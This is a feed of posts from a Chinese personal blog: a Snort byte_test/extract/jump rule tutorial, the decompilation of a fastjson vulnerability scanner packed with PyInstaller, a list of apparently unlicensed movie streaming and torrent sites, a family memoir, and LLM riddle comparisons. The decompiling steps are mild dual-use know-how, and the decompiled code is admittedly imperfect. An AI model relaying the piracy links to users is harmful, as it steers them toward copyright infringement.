&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F95c78512-0c01-4705-9d11-49d2c4377993%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-801a-aff1-f1d2874ccdec&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[美美与共]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/美美与共</link>
            <guid isPermaLink="true">https://z-zh.lol/美美与共</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;hr /&gt;

&lt;h2&gt;网易云7天会员（202602）&lt;/h2&gt;

&lt;ul&gt;&lt;li&gt;‣&lt;/li&gt;&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2&gt;观影&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;gying小站&lt;p&gt;&lt;a href=&quot;https://www.xn--wcv59z.com/&quot;&gt;https://教父.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--kivn76b41nnhi.com/&quot;&gt;https://星际穿越.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--rhqp87dfoiv9a830g.com/&quot;&gt;https://楚门的世界.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--74qy8dk4drvg29x.com/&quot;&gt;https://泰坦尼克号.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--10vr61a3xc5x3b.com/&quot;&gt;https://盗梦空间.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--74qz10cqsltibh40akss.com/&quot;&gt;https://肖申克的救赎.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--dpqv20e8ug6r8a.com/&quot;&gt;https://阿甘正传.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.xn--vcsx1ip8b8w4i.com/&quot;&gt;https://黑客帝国.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;h3&gt;可在线欣赏&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.gying.org/&quot;&gt;观影小站&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.zzpax.com/&quot;&gt;人人影视&lt;/a&gt;&lt;/li&gt;&lt;li&gt;‣&lt;/li&gt;

&lt;li&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;🔗 &lt;a href=&quot;https://www.ncat22.com/&quot;&gt;网飞猫_最新Netflix新剧_韩国电影免费在线观看&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;‣&lt;/li&gt;&lt;li&gt;‣&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://s5knz.com/index/home.html&quot;&gt;555电影&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;h3&gt;网盘搜索&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;‣&lt;/li&gt;
&lt;li&gt;‣&lt;/li&gt;&lt;li&gt;‣&lt;/li&gt;&lt;li&gt;‣&lt;/li&gt;&lt;/ul&gt;
&lt;h3&gt;种子/网盘&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.dyg5.com/&quot;&gt;电影港网&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.4ksj.com/&quot;&gt;4k电影下载&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.yinfans.me/&quot;&gt;音范丝&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;‣&lt;/li&gt;&lt;li&gt;‣&lt;/li&gt;&lt;li&gt;‣&lt;/li&gt;&lt;/ul&gt;
&lt;h3&gt;字幕&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://zimuku.org/&quot;&gt;字幕库&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;hr /&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[fastjson漏洞检测工具反编译]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/fastjson漏洞检测工具反编译</link>
            <guid isPermaLink="true">https://z-zh.lol/fastjson漏洞检测工具反编译</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>


&lt;blockquote&gt;对某司的fastjson专项漏洞检测工具进行反编译&lt;/blockquote&gt;
&lt;h2&gt;反编译（pyinstxtractor）&lt;/h2&gt;
&lt;p&gt;使用 &lt;code&gt;pyinstxtractor.py&lt;/code&gt; 文件即可对使用&lt;code&gt;pyinstaller&lt;/code&gt;打包的 &lt;code&gt;.exe&lt;/code&gt;文件进行反编译&lt;/p&gt;
&lt;p&gt;下载地址：&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://sourceforge.net/projects/pyinstallerextractor/&quot;&gt;PyInstaller Extractor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在待解压exe文件同级目录下，运行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;python pyinstxtractor.py fastjson漏洞检测工具.exe&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到会新增一个&lt;code&gt;fastjson漏洞检测工具.exe_extracted&lt;/code&gt; 文件夹&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Ae96b55ce-7b9d-449f-ab60-66097dd4b000%3Aimage.png?table=block&amp;amp;id=22bd4cd6-1e26-80a3-bb14-c9514adb1917&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;其中有一个 &lt;code&gt;.exe.mainfest&lt;/code&gt; 后缀的文件，以及同名的  无后缀文件，这个同名无后缀文件就是原本的&lt;code&gt;py&lt;/code&gt;文件，这个文件的名字不同于exe文件名，其才是开发时真正的py文件名&lt;/p&gt;

&lt;p&gt;然后这个文件是无法直接反编译的，这是因为其文件头被删去了一些字节，需要对其还原&lt;/p&gt;

&lt;p&gt;将&lt;code&gt;struct&lt;/code&gt;文件更改为&lt;code&gt;struct.pyc&lt;/code&gt; 文件，上传到&lt;code&gt;&lt;a href=&quot;https://tool.lu/pyc/&quot;&gt;https://tool.lu/pyc/&lt;/a&gt;&lt;/code&gt; 或者 &lt;code&gt;&lt;a href=&quot;https://www.toolnb.com/tools/pyc.html&quot;&gt;https://www.toolnb.com/tools/pyc.html&lt;/a&gt;&lt;/code&gt;  这个网站进行解密，发现可以解密，说明此文件的文件头是完整的&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1e8d675f-eb83-44b5-b482-a2ded376c840%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-804c-b30a-c87de6e20766&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;只需要利用十六进制编辑器，将此文件完整头填充到 &lt;code&gt;fastjson34xp&lt;/code&gt; 头中，改为 &lt;code&gt;.pyc&lt;/code&gt;文件即可反编译出来（&lt;mark&gt;&lt;strong&gt;前12位&lt;/strong&gt;&lt;/mark&gt;）&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa4a060de-7a27-4670-8c88-7983db381308%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80b0-850f-f2f4190f942b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1192f83c-4933-4de1-96b8-631252dd7924%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80c7-80d1-f8f4a645515e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd93addb4-9a9d-4917-a025-697f966b00bf%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80ec-8aca-d0dea2edfcec&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;p&gt;然而，使用不同网站/工具反编译出的代码略有偏差，部分函数和代码甚至有些影响审计，在查阅相关代码知识之外，不得不忽略一些无法理解的代码，这里梳理一下大概思路&lt;/p&gt;

&lt;p&gt;main函数先输出一个title&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;title = &apos;&apos;
    title += &apos;\n此工具将检测jar/war文件中是否存在 包含fastjson 1.2.83 以下漏洞版本组件&apos;
    title += &apos;\n如检测到请升级至 1.2.83版本以上:&apos;
    print(title)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定义一个空列表 &lt;code&gt;drivers&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;for循环遍历盘符&lt;code&gt;A-Z://&lt;/code&gt; 赋给vol，盘符路径存在则存进&lt;code&gt;drivers&lt;/code&gt; &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;drives = []
    for i in range(65, 91):
        vol = chr(i) + &apos;://&apos;
        if os.path.isdir(vol):
            drives.append(vol)
            continue&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后用&lt;code&gt;lambda&lt;/code&gt; 函数遍历打印盘符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;print(&apos;\n发现待搜索分区:  &apos; + &apos;, &apos;.join((lambda .0: [ d for d in .0 ])(drives)))&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定义一个测试路径&lt;code&gt;test_dir&lt;/code&gt; 和空列表&lt;code&gt; jar_list&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;test_dir = &apos;D:\\example\\en_test\\work\\fastjson\\safe_1.2.83\\jar&apos;
    jar_list = []&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描&lt;code&gt;drivers&lt;/code&gt; 下所有 &lt;code&gt;.jar&lt;/code&gt; 和 &lt;code&gt;.war&lt;/code&gt; 文件，存进&lt;code&gt;jar_list&lt;/code&gt; 列表中，&lt;code&gt;tqdm&lt;/code&gt;打印进度条&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;drtqdm = tqdm(desc = &apos;全盘搜索所有jar/war文件中...&apos;, unit = &apos;个文件&apos;)
    for dr in drives:
        for parent, dirnames, fnms in os.walk(dr, followlinks = True):
            for fnm in fnms:
                drtqdm.update(1)
                if not fnm[-4:] == &apos;.jar&apos;:
                    if fnm[-4:] == &apos;.war&apos;:
                        jar_list.append(os.path.join(parent, fnm))
                        continue
            drtqdm.close()
            print(&apos;完成,共%d个jar/war文件&apos; % len(jar_list))&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着调用&lt;code&gt;rg_jar&lt;/code&gt; 函数，传入&lt;code&gt;jar/war&lt;/code&gt; 文件路径，嵌套调用 &lt;code&gt;ch_jar&lt;/code&gt; 函数，这里会有一个是否存在zip文件的判断，之后将所有 &lt;code&gt;jar/war&lt;/code&gt; 文件与定义好的列表（含有漏洞的fastjson版本jar包）进行正则匹配，命中正则则返回数据写入data，之后写入&lt;code&gt;扫描结果.txt&lt;/code&gt; 中（这部分代码较长不一一展开了）&lt;/p&gt;

&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;这个工具思路是扫描文件系统所有文件，匹配存在漏洞版本的jar包依此做判断而已&lt;/p&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[snort中的byte_test\extract\jump]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/snort中的bytetestextractjump</link>
            <guid isPermaLink="true">https://z-zh.lol/snort中的bytetestextractjump</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;h2&gt;byte_test&lt;/h2&gt;
&lt;h3&gt;参考：&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node32.html#SECTION004531000000000000000&quot;&gt;http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node32.htm&lt;/a&gt;l&lt;/p&gt;
&lt;p&gt;取测试值与给定值进行运算操作，结果为true则命中&lt;/p&gt;
&lt;h4&gt;格式&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;byte_test:&amp;lt;bytes_to_convert&amp;gt;,[!]&amp;lt;operator&amp;gt;,&amp;lt;value&amp;gt;,&amp;lt;offset&amp;gt;[,&amp;lt;relative&amp;gt;]\
				[,&amp;lt;endian&amp;gt;][,string,&amp;lt;number type&amp;gt;][,dce][,bitmask&amp;lt;bitmask_value&amp;gt;];&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;byte_to_convert&lt;/code&gt; 从数据包取得的字节数 = &lt;code&gt;1-10&lt;/code&gt; &lt;/p&gt;&lt;p&gt;ps：不使用dce时可使用的值为1-10，使用dce时的值为1，2，4&lt;/p&gt;
&lt;p&gt;&lt;code&gt;operator&lt;/code&gt; 对测试值执行的操作 = &lt;code&gt;&amp;lt;  =  &amp;gt;  &amp;lt;=  &amp;gt;=  &amp;amp;  ^&lt;/code&gt;  也就是等于还是小于大于.....&lt;/p&gt;
&lt;p&gt;&lt;code&gt;value&lt;/code&gt; 与测试值进行比较的转换后的值 = &lt;code&gt;0-4294967295&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;offset&lt;/code&gt; 偏移量 =&lt;code&gt; -65535-65535&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;relative&lt;/code&gt; 使用相对于上一个模式匹配的相对偏移&lt;/p&gt;


&lt;h4&gt;举个栗子&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-PHP&quot;&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET any (msg:&amp;quot;AMD procedure 7 plog overflow &amp;quot;; content:&amp;quot;|00 04 93 F3|&amp;quot;; content:&amp;quot;|00 00 00 07|&amp;quot;; distance:4; within:4; byte_test:4,&amp;gt;,1000,2,relative;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;relative的作用是使用一个相对于上一个content的相对偏移量。即在上一个匹配到的&lt;code&gt;|00 00 00 07|&lt;/code&gt;后面，偏移2个字节后，取其后4个字节转换成二进制与二进制的1000比较，匹配操作返回true，即命中。&lt;/p&gt;

&lt;h2&gt;byte_extract&lt;/h2&gt;
&lt;p&gt;取得一定长度的数据保存到一个变量中，以便在后续规则中使用，而不是使用硬编码值，一般与byte_test结合在一起&lt;/p&gt;
&lt;h4&gt;格式&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;byte_extracr:&amp;lt;bytes_to_convert&amp;gt;,&amp;lt;offset&amp;gt;,&amp;lt;name&amp;gt;,[,&amp;lt;relative&amp;gt;]\
					[, multiplier &amp;lt;multiplier value&amp;gt;][, &amp;lt;endian&amp;gt;][, string][, hex][, dec][, oct] \
	        [, align &amp;lt;align value&amp;gt;][, dce][, bitmask &amp;lt;bitmask&amp;gt;];&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;byte_to_convert&lt;/code&gt; 从数据包取得的字节数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;offset&lt;/code&gt; 偏移量&lt;/p&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt; 给取得的变量命名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;relative&lt;/code&gt; 使用相对于上一个模式匹配的相对偏移&lt;/p&gt;
&lt;h4&gt;举个栗子&lt;/h4&gt;
&lt;p&gt;例如有tcp流中开头的hex转储数据如下（CVE-2016-8706）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-JavaScript&quot;&gt;80 21 00 20 00 00 00 01  00 00 00 01&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，如果想要对 &lt;code&gt;0x0020&lt;/code&gt; 和 &lt;code&gt;0x00000001&lt;/code&gt; 两个变化的值进行比较（假定触发漏洞需要后者比前者值小），相对应的规则可以如此&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-JavaScript&quot;&gt;content:&amp;quot;|80 21|&amp;quot;; offset:0; depth:2; byte_extract:2,0,keylen,relative; byte_test:4,&amp;lt;,keylen,0,relative;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;byte_extract&lt;/code&gt; 对&lt;code&gt;content&lt;/code&gt;之后偏移 0 个字节取 2 个字节的值，命名为&lt;code&gt;keylen&lt;/code&gt;，此时&lt;code&gt;keylen&lt;/code&gt; 的值为&lt;code&gt;00 20&lt;/code&gt; ，后续的&lt;code&gt;byte_test&lt;/code&gt; 对&lt;code&gt;byte_extract&lt;/code&gt; 之后偏移 0 个字节取4个字节的值，即为&lt;code&gt;00 00 00 01&lt;/code&gt; ，判断 &lt;code&gt;&amp;lt;&lt;/code&gt; 逻辑成立，结果为true，规则命中。&lt;/p&gt;

&lt;h2&gt;byte_jump&lt;/h2&gt;
&lt;p&gt;取对应偏移位置上的值，跳过payload中对应该值数目的字节&lt;/p&gt;</content:encoded>
        </item>
        <item>
            <title><![CDATA[米店 ]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/米店</link>
            <guid isPermaLink="true">https://z-zh.lol/米店</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>&lt;p&gt;&lt;a href=&quot;https://embed.notion.co/api/iframe?url=https%3A%2F%2Fwww.bilibili.com%2Fvideo%2FBV1Ko4y1r7Qu%2F&amp;amp;key=656ac74fac4fff346b811dca7919d483&quot;&gt;https://embed.notion.co/api/iframe?url=https%3A%2F%2Fwww.bilibili.com%2Fvideo%2FBV1Ko4y1r7Qu%2F&amp;amp;key=656ac74fac4fff346b811dca7919d483&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://www.bilibili.com/video/BV1Ko4y1r7Qu/&quot;&gt;又是一年米店月 ！老狼翻唱经典民谣《米店》原唱张玮玮手风琴伴奏，希望春暖花开早日到来~_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;「三月的烟雨，飘摇的南方，你坐在你空空的米店。」&lt;/p&gt;
&lt;p&gt;外公有一个米店，那是我小时候对外公的记忆。&lt;/p&gt;
&lt;p&gt;关于米店，我的脑海中总会浮现小时候我跑到车水马龙的大公路边，公路对面的米店里，外公站着在店面，四下观望，偶尔能发现我，我们就会遥望呼喊打招呼。现在外公没有米店了，他不在店面踌躇，我每次回家会来找他坐，天气好的时候我们会在家门口坐着，晒太阳。&lt;/p&gt;
&lt;p&gt;记忆中，外公似乎总是穿着黑色的大衣，黑色的西装长裤，戴着一顶黑色的宽檐平顶毛毡帽。还有一辆二八大杠，因此在乡里他去哪里大概都是不用搭公车的，甚至年轻时为了谋生做生意，还骑着自行车去了更远的隔壁县市。而我所说的米店，已经是外公人生经历中做的最后一次生意了，后来去了舅舅的石铺做监理，直到“退休”居家。&lt;/p&gt;
&lt;p&gt;外公做了很多生意，一生中经历了很多的工作。年轻的时候种过田，也去挖过藕，挖完用他的二八大杠，运藕回来卖，又从哪里运橘子到哪里卖，这都是临时的工作。后来在居委大队又得了份差，因为误会还经历过惊险时刻。（好多都忘了）&lt;/p&gt;
&lt;p&gt;我喜欢听历史，我对外公的经历很感兴趣，我往前一推算，耄耋之年的他比共和国更年长，那他肯定经历过那段动荡又传奇的年代。从我问他新中国开始，他跟我说抗日战争，潮汕作为被日寇侵占沦陷之地，当战争胜利之时，他见到过小鬼子落荒乘船而逃；土地改革的时候，他说本地的地主被拉去枪毙，还是小孩子的他也爱凑热闹；十年期间，他讲谁被批斗了，谁逃了藏了，藏到自己的根据地，没人找得到，风波过后谁做主了才又出来；也才来到了改革开放。&lt;/p&gt;
&lt;p&gt;小时候，家里是白天与黑夜；高中时，家里是每个周末；读大学时，家乡只有夏天和冬天；工作之后，故乡是过年、国庆和五一。我每次回家都回去找外公外婆叙旧叨唠，前几年我回家去找二老时，他们总会重复问我一样的问题，想必是不记得上次说的了。几次之后我觉得很有意思，仿佛在重复做任务，我也孜孜不倦解释给他们听。&lt;/p&gt;
&lt;p&gt;上一次见到外婆已经是两年半前（2022年）的国庆了，那天傍晚，夕阳日暮，晚风咻咻然，我开着小摩托，拍下了这一刻，我永远记得，这成为了最后一次见外婆的记忆。两个月后，外婆在一个日常的早晨感到有些不适，于是去常光顾的诊所输液，没想到晚上就进了ICU，第二天就让家属送回家了。尽管身前饱受多样病痛多年折磨，但外婆平生行善积德、与人为好，在生命最后一刻没有持续太长久的痛苦。&lt;/p&gt;
&lt;p&gt;妈妈说，外婆去拜佛了。&lt;/p&gt;
&lt;p&gt;我常觉得妈妈拥有一些超然的诗意与浪漫。虽然妈妈是一个未曾进过学堂的农村妇女，但她总是表现出超脱的聪明，凭借生活和电视，也能学会普通的算术和几句口头普通话，为了我们小时候的家长签字也学会了写自己的名字。在数字化年代，也会用智能手机应付日常生活与交际。在我们逢年过节度假结束，离家返工时，她常常说，人就像鸟一样，早上还在家这呢，晚上就到了广州珠海那去了。&lt;/p&gt;
&lt;p&gt;人就像鸟一样，或者囚于笼中；或者不停地飞，一生只能落地一次；或者天高任鸟飞，偶然停下来歇歇，驻足在我们葡萄枝嫩叶般的家，驻足在码头上我们停着的船。&lt;/p&gt;
&lt;p&gt;但愿人长久，千里共蝉娟。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A18ae8006-22ee-438b-87b1-716783439976%3Aimage.png?table=block&amp;amp;id=1c7d4cd6-1e26-80f0-b91b-d5bcb1948c4f&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;</content:encoded>
        </item>
        <item>
            <title><![CDATA[木棍难题和洗车悖论]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/木棍难题和洗车悖论</link>
            <guid isPermaLink="true">https://z-zh.lol/木棍难题和洗车悖论</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;🔑&lt;/span&gt;&lt;p&gt;各家大模型对人类历史上的史诗级难题——木棍通过问题及洗车走路去还是开车去的解答&lt;/p&gt;&lt;/div&gt;

&lt;h2&gt;洗车&lt;/h2&gt;
&lt;h3&gt;OpenAi&lt;/h3&gt;

&lt;h4&gt;gpt-5.3-instant&lt;/h4&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Ae221e143-0661-49b3-a4d4-a9df06174f33%3Aimage.png?table=block&amp;amp;id=335d4cd6-1e26-80ef-9fea-f129fac19703&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;gpt-5.4-thinking&lt;/h4&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Ae629fe23-691f-4234-87a0-7724b1f7abd8%3Aimage.png?table=block&amp;amp;id=335d4cd6-1e26-80d2-be00-ee5349730b6b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;gpt-5.4-pro&lt;/h4&gt;
&lt;p&gt;只有gpt-5.4-pro推理出来了，耗时4m3s&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A124f2467-6c4d-4660-9468-11fe25cde720%3Aimage.png?table=block&amp;amp;id=335d4cd6-1e26-8072-a156-c5c3bfb09c87&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;



&lt;h2&gt;木棍&lt;/h2&gt;
&lt;h3&gt;❌小米mimo-v2-pro/mimo-v2-flash&lt;/h3&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A564e89f6-e5d9-42a9-a077-ce1faf41da97%3A72da27dd8200e6836041b24f7c976cf6.png?table=block&amp;amp;id=335d4cd6-1e26-8004-bd7e-e1cf6e8ad2fd&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;


&lt;p&gt;想去洗车，但是考虑下距离，我是走路去好还是开车去好呢&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A3d703ede-e371-4673-bd73-3d2020c7a902%3A6a88000bc8e1edb9b44c28c2d524beb4.png?table=block&amp;amp;id=335d4cd6-1e26-8087-94a5-f89cd1b8c3c3&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;Deepseek R1&lt;/h3&gt;
&lt;p&gt;思考200s，左右脑互搏&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Abad46cd5-a75f-455f-a30f-0b446f16a813%3Aimage.png?table=block&amp;amp;id=22cd4cd6-1e26-80d7-92c8-d343c271d6c3&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;OpenAI &lt;/h2&gt;
&lt;h4&gt;gpt-o4-mini&lt;/h4&gt;
&lt;p&gt;仅仅思考4s，可以说是不假思索了&lt;/p&gt;
&lt;p&gt;（没资格使用o3～扣扣搜搜的openai）&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Acb4b583a-74cc-44a6-a01b-d819df92df55%3Aimage.png?table=block&amp;amp;id=22cd4cd6-1e26-80a5-8c15-d7e927a5bd26&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;那我问你，要是10m的木棍呢？&lt;/p&gt;

&lt;h2&gt;Gemini&lt;/h2&gt;
&lt;p&gt;我们看看鸡哥怎么说&lt;/p&gt;
&lt;h3&gt;2.5 Flash Preview 05-20&lt;/h3&gt;
&lt;p&gt;带思维链思考了9.5s后&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A6fa96d4a-e464-48e0-88b2-788465a90c1e%3Aimage.png?table=block&amp;amp;id=22cd4cd6-1e26-80bb-b38a-dee63eb43bd6&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;2.5 Pro&lt;/h3&gt;
&lt;p&gt;值得肯定！&lt;/p&gt;
&lt;p&gt;（思考时长64.8s）&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A4bfe6f06-ce3d-43e0-856a-4982cd03416a%3Aimage.png?table=block&amp;amp;id=22cd4cd6-1e26-80e9-bb81-f138a7470197&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;Cladue Sonnet4&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;prompt&lt;/code&gt; 使用 &lt;code&gt;richards199999/Thinking-Claude/blob/main/model_instructions/v5-lite-20241124 &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;结果是……倒了&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A664738ab-cce1-43be-90cf-88ef8fcd1d39%3Aimage.png?table=block&amp;amp;id=22cd4cd6-1e26-8023-aff6-e32875aa3b49&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
